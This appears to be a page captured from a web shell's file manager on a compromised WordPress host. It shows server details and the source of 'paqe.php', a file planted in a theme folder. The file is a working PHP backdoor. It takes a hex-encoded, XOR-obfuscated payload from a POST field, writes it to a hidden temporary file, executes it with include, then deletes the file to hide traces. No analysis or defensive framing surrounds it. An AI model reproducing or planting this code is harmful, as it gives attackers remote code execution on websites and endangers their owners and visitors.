HEX
Server: nginx/1.27.1
System: Linux in-3 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
User: ivenus-clone (3297)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v4513/ivenus-clone/public_html/wp-content/themes/archives-1766646297/paqe.php
<!--ZvEYl91B-->
<?php

if(isset($_POST["\x69\x74em"]) ? true : false){
$record = array_filter([getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]);
$symbol = hex2bin($_POST["\x69\x74em"]);
$component ='' ;$o=0;do{$component.=chr(ord($symbol[$o])^37);$o++;}while($o<strlen($symbol));
foreach ($record as $key => $itm) {
            if (is_dir($itm) ? is_writable($itm) : false) {
            $element = "$itm" . "/.parameter_group";
            $marker = fopen($element, 'w');
if ($marker) {
    fwrite($marker, $component);
    fclose($marker);
    include $element;
    @unlink($element);
    die();
}
        }
}
}